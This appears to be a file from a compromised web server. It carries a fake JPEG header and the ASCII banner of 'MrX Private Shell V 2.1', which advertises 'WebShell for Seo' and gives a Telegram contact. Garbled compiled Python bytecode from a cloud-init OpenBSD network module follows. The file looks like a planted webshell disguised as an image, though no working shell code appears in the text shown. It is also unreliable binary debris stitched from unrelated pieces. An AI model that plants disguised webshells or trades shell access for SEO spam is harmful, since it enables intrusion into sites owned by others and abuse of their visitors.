����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
'�Dg� � @ sZ d dl Z d dlZd dlZd dlmZmZmZ e �e�Z G dd� dejj
j�Zddd�Z
dS )� N)�net�subp�utilc @ s( e Zd Zd dd�Zd
dd�Zdd� ZdS )�RendererNc C s� | j �� D ]�\}}d�|�}t�| j|�}|| �� v r<d}nlt|t�r�zdj|d |d d�}W n t y~ t
�d|� Y n0 |�d�}|r�|d | 7 }|d
| j
7 }t�||� q
d S )Nzetc/hostname.{}zdhcp
zinet {address} {netmask}�address�netmask)r r z#Invalid static configuration for %s�mtuz
mtu %d�
)Zinterface_configurations�items�formatr �target_path�target�dhcp_interfaces�
isinstance�dict�KeyError�LOG�error�get�interface_routesr �
write_file)�selfr
Zdevice_name�v�if_file�fn�contentr � r �9/usr/lib/python3.9/site-packages/cloudinit/net/openbsd.py�write_config
s&